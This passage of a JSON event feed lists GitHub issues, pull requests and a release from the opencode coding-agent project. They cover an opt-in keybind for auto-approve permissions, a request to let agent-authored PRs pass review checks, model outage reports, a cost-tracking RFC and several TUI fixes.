          "text": "## Problem Auto-approve permission mode can be reached three ways today: - CLI flags at launch: `--auto`, `--yolo`, `--dangerously-skip-permissions` - the `permission.mode` command in the command palette - programmatically, via `toggle()` on the permission context What is missing is a keybind. `Definitions` in `packages/tui/src/config/keybind.ts` has no `permission_mode` entry, so the command cannot be bound from config, and the only in-session route is opening the palette and picking the entry. The machinery is already there. `context/permission.tsx` exposes `set()` and `toggle()`, and `app.tsx` registers a `permission.mode` palette command with a state-dependent title. This just makes it bindable. ## Change - add `permission_mode: keybind(\"none\", \"Toggle auto-approve permissions\")` to `Definitions` - map it to the existing `permission.mode` command in `CommandMap` - list `permission.mode` in `appBindingCommands` so a layer actually gathers the binding Default is `\"none\"`, so nothing changes for anyone who does not opt in. Three lines, and the third is the one that is easy to miss: a definition plus a `CommandMap` entry resolves correctly but stays inert unless the command is also in a gathered list. I had this wrong at first and the key silently did nothing. ## Verification - `bun run typecheck` in `packages/tui` — clean - `bun test test/keymap.test.tsx test/config.test.tsx` — 11 pass With `{\"keybinds\": {\"permission_mode\": \"ctrl+alt+n\"}}` in `tui.json`, resolving through `TuiConfig.get()` gives: ``` permission.mode -> [{ desc: \"Toggle auto-approve permissions\", key: \"ctrl+alt+n\", cmd: \"permission.mode\" }] ``` I also confirmed end to end that toggling this way suppresses prompts, using a permission that evaluates to `ask`. From the log: `asking id=per_…` at `.714`, then the action proceeding at `.744` with no prompt rendered. ## Notes Deliberately no default key. Auto-approving permissions is dangerous enough that it should stay opt-in, and I did not want to claim a chord on anyone's behalf. If you would prefer a keybind naming other than `permission_mode`, say the word and I will rename.",
          "url": "https://github.com/anomalyco/opencode/pull/42057",
          "createdAt": "2026-08-12T15:24:11Z",
          "updatedAt": "2026-08-12T15:28:53Z",
          "timestamp": "2026-08-12T15:28:53Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [
            "needs:compliance"
          ],
          "author": "thepigdestroyer",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:aedb6fc1a7755b00f597",
        "signalId": "github:anomalyco/opencode:issue:7103",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:7103",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Support Agent-Authored PRs in Permission Checks",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request ## 🚀 Feature Request: Support Agent-Authored PRs in Permission Checks ### Summary I’m building a **fully agentic development workflow** using OpenCode, where agents autonomously triage issues, modify code, and open pull requests. Currently, this flow breaks when downstream PR review workflows fail due to permission checks on agent activity. --- ### Current Flow 1. A user creates an issue 2. `issue_triage` workflow runs 3. OpenCode agent: - Reviews the issue - Creates a new branch - Makes code changes - Opens a PR 4. `pr_review` workflow triggers on PR open --- ### Problem The `pr_review` workflow performs an `assertPermissions` check. Since the **last PR activity is from the OpenCode agent**, which does not have admin/write permissions, the workflow fails. <img width=\"1108\" height=\"615\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/e99e670f-1bdd-4e52-8beb-96ada57b6489\" /> This stops the automation until a human manually re-triggers the workflow (e.g., toggling Draft → Ready for Review). This manual step breaks the goal of a **true agentic workflow**. --- ### Expected Behavior Agent-created PRs should be able to: - Trigger PR review workflows - Pass permission checks - Run end-to-end without requiring human intervention --- ### Proposed Solution (Preferred) Enhance `assertPermissions` to **recognize and allow trusted OpenCode agent activity**, enabling PR review workflows to proceed even when the last actor is an agent. This would unlock **fully autonomous issue → PR → review pipelines**. --- ### Alternative (Less Preferred) Allow agents to create **draft PRs** by default, requiring a human to mark them as “Ready for Review” to trigger the review workflow. While this works, it still requires manual intervention and limits true autonomy. --- ### Why This Matters Without this capability, OpenCode cannot fully support: - End-to-end agentic development - Autonomous refactoring or maintenance workflows - Multi-agent CI/CD pipelines Supporting agent-authored PRs as first-class contributors would significantly enhance OpenCode’s agentic development capabilities.",
          "url": "https://github.com/anomalyco/opencode/issues/7103",
          "createdAt": "2026-01-06T18:13:37Z",
          "updatedAt": "2026-08-12T15:26:47Z",
          "timestamp": "2026-08-12T15:26:47Z",
          "metrics": {
            "reactions": 12,
            "comments": 4
          },
          "labels": [],
          "author": "krish-59",
          "state": "open",
          "assignees": [
            "thdxr"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:2de9841d879851e90de1",
        "signalId": "github:anomalyco/opencode:issue:40206",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:40206",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "grok-4.5 on opencode go not working since 2 Aug",
          "text": "### Description grok-4.5 has been returning errors since 2 Aug. ### Plugins NA ### OpenCode version v1.18.11 ### Steps to reproduce Call grok-4.5 on opencode go via openai chat completions api, response is always 500. ### Screenshot and/or share link NA ### Operating System Windows 11 ### Terminal Windows Terminal",
          "url": "https://github.com/anomalyco/opencode/issues/40206",
          "createdAt": "2026-08-03T02:32:16Z",
          "updatedAt": "2026-08-12T15:25:51Z",
          "timestamp": "2026-08-12T15:25:51Z",
          "metrics": {
            "reactions": 1,
            "comments": 5
          },
          "labels": [],
          "author": "lirc571",
          "state": "open",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:a44ea6c8567e792d0426",
        "signalId": "github:anomalyco/opencode:issue:41582",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:41582",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Truncated model response for OpenCode Go models",
          "text": "### Description Today, many OpenCode Go models interrupt their response mid-stream. I've observed this for DeepSeek-V4-Pro, Kimi-K3 and MiMo-V2-Pro. Other users report this issue for DeepSeek-V4-Flash. I am using the streaming API with my own client, so this is a server issue. I did not see any suspicious streaming packages in terms of `\"data: ...\"` `chat.completion.chunk`s. The server simply closes the HTTP connection mid-stream. This also happens in the middle of tool calls, which results in invalid JSON. The following issues are somewhat related, but not quite the same: * DeepSeek-v4-Flash-free model, not with paid subscription * https://github.com/anomalyco/opencode/issues/41528 * https://github.com/anomalyco/opencode/issues/39393 * https://github.com/anomalyco/opencode/issues/39582 * gpt-5.6-luna * https://github.com/anomalyco/opencode/issues/39881 ### Plugins NA ### OpenCode version NA ### Steps to reproduce 1. Use any model 2. Write a prompt that results in a long response 3. Response stops after 3 to 5 minutes ### Screenshot and/or share link #### Incomplete reasoning <img width=\"1801\" height=\"138\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/ e937b217-899d-4cac-9733-45f46df77f81\" /> #### Incomplete tool call <img width=\"1182\" height=\"172\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/a315fd25-08ca-4f72-9998-21023d4f8f3f\" /> ### Operating System NA ### Terminal NA",
          "url": "https://github.com/anomalyco/opencode/issues/41582",
          "createdAt": "2026-08-10T18:31:13Z",
          "updatedAt": "2026-08-12T15:25:08Z",
          "timestamp": "2026-08-12T15:25:08Z",
          "metrics": {
            "reactions": 2,
            "comments": 3
          },
          "labels": [],
          "author": "99991",
          "state": "open",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:415e31f79430249b6c63",
        "signalId": "github:anomalyco/opencode:pull_request:42052",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42052",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): display chained shell commands across multiple lines",
          "text": "Add commandDisplay field to shell tool that splits &&-chained commands with backslash continuations for readable display in the session view and permission prompt. ### Issue for this PR N/A ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Long-chained shell commands quickly become difficult to read. This PR is splitting the output so that '&& command2 ...' is on a new line. To enhance readability. ### How did you verify your code works? Added three cases to `packages/opencode/test/tool/shell.test.ts` covering the permission metadata flow: - Chained command splits into `echo foo \\\\\\n&& echo bar \\\\\\n&& echo baz` - Single command is returned unchanged - `&&` inside quotes is not split (`echo \"a && b\" \\\\\\n&& echo c`) Ran `bun test test/tool/shell.test.ts` from `packages/opencode`: 26 pass, 0 fail. ### Screenshots / recordings <img width=\"785\" height=\"408\" alt=\"Screenshot 2026-08-12 at 11 04 07 AM\" src=\"https://github.com/user-attachments/assets/be2df366-ce8a-4c3e-9652-725b41b8b66a\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42052",
          "createdAt": "2026-08-12T15:11:38Z",
          "updatedAt": "2026-08-12T15:17:20Z",
          "timestamp": "2026-08-12T15:17:20Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "fowlmouth",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:f417249d33356fb77a6d",
        "signalId": "github:anomalyco/opencode:pull_request:42049",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42049",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): hide background badge on interrupted shells",
          "text": "## Summary - record the shell execution status in tool result metadata - render the `Background` badge only when the shell explicitly reports a detached running state - keep interrupted and failed foreground shells from being mislabeled as background work ## Testing - `bun test test/tool-shell.test.ts` (`packages/core`) - `bun typecheck` (`packages/core`) - `bun test test/cli/tui/inline-tool-wrap-snapshot.test.tsx` (`packages/tui`) - `bun typecheck` (`packages/tui`) Requested by: @rekram1-node (Aiden Cline via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42049",
          "createdAt": "2026-08-12T15:00:56Z",
          "updatedAt": "2026-08-12T15:08:39Z",
          "timestamp": "2026-08-12T15:08:39Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:8b8030e5b3caf0440b7b",
        "signalId": "github:anomalyco/opencode:issue:33966",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:33966",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: make OAUTH_CALLBACK_HOST configurable",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request https://github.com/anomalyco/opencode/pull/30022 recently changed the oauth server to bind to 127.0.0.1 only. I use opencode inside a container, and was using `docker run -p 19876` to get the browser on my host talking to opencode via `http://127.0.0.1:19876`. I would like a new envvar or config option to customize `OAUTH_CALLBACK_HOST`. ## workaround Use a docker entrypoint with `socat` to route traffic ```bash #!/usr/bin/env bash socat TCP-LISTEN:19877,fork,bind=0.0.0.0 TCP:127.0.0.1:19876 & opencode \"$@\" ``` When I need to authenticate, I run `docker run -p 19876:19877 --entrypoint=...`, with routes the traffic correctly: ```mermaid flowchart subgraph host browser docker subgraph container socat opencode end end browser -->|127.0.0.1:19876| docker docker -->|0.0.0.0:19877| socat socat -->|127.0.0.1:19876| opencode ```",
          "url": "https://github.com/anomalyco/opencode/issues/33966",
          "createdAt": "2026-06-25T21:53:09Z",
          "updatedAt": "2026-08-12T14:59:32Z",
          "timestamp": "2026-08-12T14:59:32Z",
          "metrics": {
            "reactions": 0,
            "comments": 5
          },
          "labels": [],
          "author": "ryepup",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:ee57bb37caa6bff770cd",
        "signalId": "github:anomalyco/opencode:pull_request:42037",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42037",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(app): prevent settings dialog handler from locking up on cleanup",
          "text": "### Issue for this PR Closes #42042 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? useSettingsDialog drops subsequent open attempts if the component unmounts or re-renders once, because onCleanup permanently sets dead = true. This removes the dead check so settings.open works reliably after re-renders. The run !== current check is kept to prevent race conditions when dynamic imports resolve out of order. ### How did you verify your code works? Tested hitting Cmd+, and using the command palette in the desktop app after switching tabs/routes. All 722 unit tests in packages/app pass. Added Playwright E2E verification test in packages/app/e2e/user-story/settings-dialog-opening.spec.ts that presses Control+, and asserts div.settings-v2-dialog mounts into the DOM. ### Screenshots / recordings Verified in Playwright headless Chromium (1 passed): the dialog-v2 container renders upon Control+, shortcut trigger. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42037",
          "createdAt": "2026-08-12T14:32:11Z",
          "updatedAt": "2026-08-12T14:58:10Z",
          "timestamp": "2026-08-12T14:58:10Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "MaaBlock",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:345076727815e7530244",
        "signalId": "github:anomalyco/opencode:issue:12377",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:12377",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[RFC] Cost Tracking Architecture: Subagent Aggregation + Multi-Model Correctness",
          "text": "## Summary OpenCode's cost tracking has multiple interrelated gaps that cause inaccurate cost display for users with multi-agent and multi-model workflows. This RFC proposes a unified architecture to address: 1. **Subagent cost aggregation** (#11027) - Parent sessions don't include child session costs 2. **Multi-model correctness** (#7387) - Costs recalculated with wrong model pricing 3. **Semantic clarity** - Single `cost` field can't distinguish \"own\" vs \"total\" 4. **Pricing immutability** - Costs can be recalculated, causing decreases 5. **Hidden costs** (#7175) - Summary/title generation costs not tracked **Related Issues:** #11027, #7387, #7175, #7767, #6989, #485 **Related PRs:** #7763 (necessary foundation, but insufficient alone) --- ## Problem Statement ### The 100-Message Bug (Being Fixed) PR #7763 addresses the immediate bug where the sidebar only sums the last 100 messages in memory. This is a **necessary** fix, but **not sufficient** for accurate cost tracking. ### The Subagent Problem (Critical) When using Task tool to spawn subagents (explore, librarian, oracle, etc.), each creates a child session with `parentID` linking to the parent. However: ```typescript // task.ts - creates child session const session = await Session.create({ parentID: ctx.sessionID, // Links to parent // ... }) // session/index.ts - addCost only updates current session export async function addCost(sessionID: string, amount: number) { await update(sessionID, (draft) => { draft.cost = (draft.cost ?? 0) + amount }) } // Parent's cost is NEVER updated! ``` **Result:** Users see only their main session's cost, missing all subagent spend. ``` User Session: $0.50 (displayed) ├── @explore: $0.10 (hidden) ├── @librarian: $0.20 (hidden) └── @oracle: $0.30 (hidden) Actual total: $1.10 Displayed: $0.50 (55% under-reported!) ``` ### The Multi-Model Problem Issue #7387 reports costs DECREASING when switching models mid-session. Root cause: ```typescript // processor.ts - cost calculated with CURRENT model const usage = Session.getUsage({ model: input.model, // Current model, not the model used for THAT call usage: value.usage, // ... }) ``` When switching from expensive (opus) to cheap (haiku) model, ALL previous costs are recalculated with the cheaper model's pricing. **Correct behavior:** Each LLM call should lock its cost at call time with the actual model/pricing used. --- ## Proposed Solution ### Core Principle **\"Append-only cost events as source-of-truth + denormalized rollups on sessions\"** ### Schema Changes ```typescript // Session schema (enhanced) interface Session { id: string parentID?: string // ...existing fields... // NEW: Split cost tracking own_cost_micros: number // This session's direct LLM spend (immutable accumulator) total_cost_micros: number // own + all descendants (cached rollup) } // NEW: Cost event record (optional but recommended for audit) interface CostEvent { id: string session_id: string message_id?: string tool_call_id?: string // Immutable snapshot at call time provider_id: string model_id: string tokens: { input: number output: number cache_read?: number cache_write?: number } pricing_version: string // Snapshot of rates at call time cost_micros: number // Calculated cost in microdollars (never recalculated) created_at: number } ``` ### Updated `addCost()` Function ```typescript export async function addCost( sessionID: string, amount: number, metadata?: { model_id: string, provider_id: string, pricing_version: string } ) { if (amount === 0) return // 1. Update own_cost (this session only) const session = await update(sessionID, (draft) => { draft.own_cost_micros = (draft.own_cost_micros ?? 0) + amount draft.total_cost_micros = (draft.total_cost_micros ?? 0) + amount }) // 2. Propagate to parent chain let currentParentID = session.parentID while (currentParentID) { const parent = await update(currentParentID, (draft) => { draft.total_cost_micros = (draft.total_cost_micros ?? 0) + amount }) currentParentID = parent.parentID } // 3. Optionally emit CostEvent for audit trail if (metadata) { await CostEvent.create({ session_id: sessionID, ...metadata, cost_micros: amount, created_at: Date.now() }) } } ``` ### Sidebar Display Changes ```tsx // sidebar.tsx const cost = createMemo(() => { const session = session() const hasChildren = children().length > 0 // Use total_cost for sessions with subagents, own_cost otherwise const amount = session.total_cost_micros ?? session.own_cost_micros ?? messages().reduce((sum, x) => sum + (x.role === \"assistant\" ? x.cost : 0), 0) return { value: amount, label: hasChildren ? \"(incl. subagents)\" : \"\", } }) ``` --- ## Implementation Plan ### Phase 1: Foundation (Builds on PR #7763) 1. **Rename `cost` to `own_cost_micros`** for semantic clarity 2. **Add `total_cost_micros`** field to Session schema 3. **Add migration** to initialize both fields from existing message sums 4. **Update `addCost()`** to propagate to parent chain **Effort:** ~2-3 hours | **Risk:** Low (additive, backward compatible with fallback) ### Phase 2: Multi-Model Correctness 1. **Store model/provider per call** in processor.ts 2. **Pass metadata to `addCost()`** for audit trail 3. **Never recalculate** - costs are immutable once recorded **Effort:** ~2-3 hours | **Risk:** Low ### Phase 3: Hidden Costs 1. **Emit cost events for title/summary generation** (#7175) 2. **Track all LLM calls** that don't go through normal message flow **Effort:** ~1-2 hours | **Risk:** Low ### Phase 4 (Optional): Full Audit Trail 1. **Add CostEvent table** for complete cost history 2. **Add reconciliation command** to verify session costs match events 3. **Support cost breakdown by model** in UI **Effort:** ~4-6 hours | **Risk:** Medium (new storage requirements) --- ## Migration Strategy ```typescript // migration.ts - run on startup after PR #7763 async function migrateCostFields() { const sessions = await Session.list() // Sort by depth (children first) for correct rollup const sorted = sortByDepth(sessions) for (const session of sorted) { // Calculate own_cost from message sums const ownCost = session.messages?.reduce( (sum, m) => sum + (m.role === \"assistant\" ? m.cost : 0), 0 ) ?? session.cost ?? 0 // Calculate total_cost = own + children's total const childrenTotal = sessions .filter(s => s.parentID === session.id) .reduce((sum, s) => sum + (s.total_cost_micros ?? 0), 0) await Session.update(session.id, (draft) => { draft.own_cost_micros = ownCost draft.total_cost_micros = ownCost + childrenTotal }) } } ``` --- ## UX Recommendations | Element | Display | Notes | |---------|---------|-------| | Sidebar (has children) | `$1.10 (incl. subagents)` | Shows `total_cost` | | Sidebar (no children) | `$0.50` | Shows `own_cost` | | Optional toggle | \"This session only\" / \"Include subagents\" | User preference | | Fork display | `$0.00` with lineage note | Don't inherit, show \"Forked from [parent]\" | ### Long-Term Vision ``` ┌─────────────────────────────────────────────────────────────┐ │ Session: \"Implement auth system\" │ ├─────────────────────────────────────────────────────────────┤ │ Cost: $2.47 (incl. subagents) [This session only ▼]│ │ │ │ Breakdown by model: │ │ claude-opus-4-5: $1.80 (73%) │ │ gpt-5.2: $0.42 (17%) │ │ claude-haiku-4-5: $0.25 (10%) │ │ │ │ Subagent costs: │ │ @librarian: $0.45 │ │ @explore (×3): $0.32 │ │ @oracle: $0.20 │ └─────────────────────────────────────────────────────────────┘ ``` --- ## Breaking Changes **None.** All changes are additive with backward-compatible fallbacks: - New fields default to `0` or calculated from existing data - Migration runs automatically on startup - Existing API contracts unchanged --- ## Acceptance Criteria - [ ] Parent sessions display total cost including all descendant sessions - [ ] Costs never decrease (monotonically increasing) - [ ] Model switching mid-session doesn't affect previously calculated costs - [ ] Fork sessions start at $0.00 (no inherited cost) - [ ] Sidebar shows \"(incl. subagents)\" when children exist - [ ] Migration correctly backfills existing sessions --- ## Questions for Maintainers 1. **Naming preference:** `own_cost_micros` / `total_cost_micros` or `ownCost` / `totalCost`? 2. **Storage format:** microdollars (integers) or dollars (floats)? 3. **CostEvent table:** Worth the storage overhead for audit trail? 4. **PR scope:** Single PR covering Phases 1-2, or separate PRs? --- Happy to contribute a PR for Phase 1 once PR #7763 is merged. Would love feedback on this architecture proposal. /cc @fwang @rekram1-node",
          "url": "https://github.com/anomalyco/opencode/issues/12377",
          "createdAt": "2026-02-05T23:14:18Z",
          "updatedAt": "2026-08-12T14:57:10Z",
          "timestamp": "2026-08-12T14:57:10Z",
          "metrics": {
            "reactions": 0,
            "comments": 9
          },
          "labels": [],
          "author": "bluet",
          "state": "closed",
          "assignees": [
            "thdxr"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:418d9c4bd02e88eed610",
        "signalId": "github:anomalyco/opencode:pull_request:41940",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41940",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): surface plugin failures",
          "text": "## What Surface failed MCP servers and TUI plugins directly from the new-session screen, with `/mcps` and `/plugins` as direct paths to full diagnostics. Failed rows open one shared error-details view with scrolling and copy support. A failed hot reload that keeps the previous plugin version running remains toggleable, so diagnostics do not remove the user's ability to stop it. ## Before / After **Before:** plugin failures appeared only as transient toasts. MCP failures showed only a generic indicator, and narrow terminals could clip multiple failure hints. A failed hot reload could also leave the previous plugin running without a control to deactivate it. **After:** persistent failure counts appear in the home footer, Enter opens the complete error, `C` copies it, and command hints collapse before labels at narrow widths. Failed-but-active plugins preserve both error inspection and the normal toggle action. ## How - `dialog-error-details.tsx` provides the shared scroll, copy, and back interaction used by MCP and plugin failures. - `plugin/context.tsx` carries the registration ID on failed states when a last-good plugin survives. - `system/plugins.tsx` combines runtime state with registrations, omits unsupported targets from actionable rows, and separates Enter-to-inspect from toggle. - `home/footer.tsx` reports exact failure counts and progressively hides secondary hints at 64 and 80 columns. ## Scope This changes TUI diagnostics only. It does not change plugin loading, retry, or MCP connection behavior. ## Testing - `bun typecheck` in `packages/tui` - `bun run test test/plugin-reload.test.ts test/plugin-hot-reload.test.tsx test/feature-plugins/home-footer.test.ts` in `packages/tui` - repository pre-push typecheck across 32 packages - OpenCode Drive against commit `d480f5c449`: started with a failed MCP, broke a live plugin during hot reload, verified failure counts, retained toggle, plugin and MCP details, copy feedback, back navigation, and the 50-column footer ## Demo OpenCode Drive with deterministic local failure fixtures. The previous plugin version remains active after the failed hot reload. https://github.com/user-attachments/assets/d4d32e14-9299-476e-920f-66e6f52dd1d0 ## Flow ```mermaid flowchart LR Failure[Plugin or MCP fails] --> Footer[Persistent failure count] Footer --> Command[/plugins or /mcps] Command --> Row[Failed row] Row -->|Enter| Details[Scrollable error details] Details -->|C| Copy[Copy full error] Row -->|Toggle shortcut| Stop[Deactivate last-good plugin] ```",
          "url": "https://github.com/anomalyco/opencode/pull/41940",
          "createdAt": "2026-08-12T03:33:44Z",
          "updatedAt": "2026-08-12T14:51:03Z",
          "timestamp": "2026-08-12T14:51:03Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:e9593e871d899c6efba5",
        "signalId": "github:anomalyco/opencode:issue:42016",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42016",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "prompt issue",
          "text": "i started working with it but when i came back for some reason it didnt work again ...i cant seem to get answers its showing thinking then it stops abruptly ...ive tried several things even tried new sessions same issue",
          "url": "https://github.com/anomalyco/opencode/issues/42016",
          "createdAt": "2026-08-12T12:29:40Z",
          "updatedAt": "2026-08-12T14:49:29Z",
          "timestamp": "2026-08-12T14:49:29Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "Lena-Keziah",
          "state": "closed",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:d80b1919ae72bc81147f",
        "signalId": "github:anomalyco/opencode:issue:42018",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42018",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "我订阅了opencodego怎么又用不了了",
          "text": "我订阅了opencodego怎么又用不了了",
          "url": "https://github.com/anomalyco/opencode/issues/42018",
          "createdAt": "2026-08-12T12:39:47Z",
          "updatedAt": "2026-08-12T14:49:26Z",
          "timestamp": "2026-08-12T14:49:26Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "zzk-CH",
          "state": "closed",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:a2f0e5406a60e2465f8d",
        "signalId": "github:anomalyco/opencode:pull_request:42021",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42021",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(web/desktop): restore agent mode selector and Linux old-layout eligibility",
          "text": "Restores the composer agent selector (build/plan) when only built-in agents are present, and makes existing Linux/macOS desktop installs eligible to opt back into the previous dashboard. - app: `isAgentsVisible` shows the selector whenever more than one selectable agent exists (matches the legacy composer). - desktop: old-layout eligibility now also checks the previous Tauri data directory. Closes #39665 Refs #38111",
          "url": "https://github.com/anomalyco/opencode/pull/42021",
          "createdAt": "2026-08-12T12:43:34Z",
          "updatedAt": "2026-08-12T14:49:23Z",
          "timestamp": "2026-08-12T14:49:23Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [
            "needs:title"
          ],
          "author": "rasraz",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:a6a83cc32dbef4e5360e",
        "signalId": "github:anomalyco/opencode:issue:42044",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42044",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[Bug] Gradle build success but session keep going forever",
          "text": "As the picture, build is success and all the tasks were done, but agent keep thinking forever and I need to stop it manual. <img width=\"1920\" height=\"1020\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/ea47b346-6d81-4e1e-a209-7a9df9421173\" />",
          "url": "https://github.com/anomalyco/opencode/issues/42044",
          "createdAt": "2026-08-12T14:44:40Z",
          "updatedAt": "2026-08-12T14:46:14Z",
          "timestamp": "2026-08-12T14:46:14Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "SMFDrummer",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:72f14a67c316abff8f34",
        "signalId": "github:anomalyco/opencode:pull_request:42036",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42036",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): route Muse models to Meta prompt",
          "text": "## Summary - route Muse-family model IDs through the Meta system prompt - render the correct Muse Spark or Muse Glimmer name in identity and feedback text - cover both model families and verify no template placeholder reaches the final prompt ## Tests - `bun test test/plugin/system-prompt.test.ts` - `bun typecheck` Requested by: @rekram1-node (Aiden Cline via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42036",
          "createdAt": "2026-08-12T14:28:20Z",
          "updatedAt": "2026-08-12T14:32:02Z",
          "timestamp": "2026-08-12T14:32:02Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:d73d69111e4ae11d3b59",
        "signalId": "github:anomalyco/opencode:release:369579453",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:release:369579453",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "release",
          "title": "v1.18.18",
          "text": "## Core ### Bugfixes - Select the Kimi system prompt correctly for official Moonshot and Kimi providers - Fix xhigh reasoning effort for xai models",
          "url": "https://github.com/anomalyco/opencode/releases/tag/v1.18.18",
          "createdAt": "2026-08-13T01:15:04Z",
          "updatedAt": "2026-08-13T01:15:04Z",
